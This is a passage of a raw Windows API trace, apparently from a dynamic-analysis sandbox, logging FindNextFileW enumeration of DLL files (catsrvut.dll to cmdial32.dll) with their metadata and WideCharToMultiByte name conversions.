dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="catsrvut.dll", cAlternateFileName="")) returned 1 [0206.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.282] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0206.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x9dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0206.282] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0206.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.282] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0206.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.282] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0206.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0206.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x9dc288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0206.283] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0206.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.283] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0206.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x9dc288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0206.283] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0206.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0206.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x9dc120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0206.283] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0206.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.283] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0206.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0206.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x9dc120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0206.283] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0206.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.284] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0206.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.284] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0206.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.284] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0206.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.284] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0206.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.284] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0206.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0206.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x9dc120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0206.284] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0206.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x9dc288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0206.284] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0206.284] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0206.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x9dc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0206.285] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0206.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.285] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0206.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.285] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0206.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.285] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0206.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.285] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0206.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.285] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.285] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cmdial32.dll", 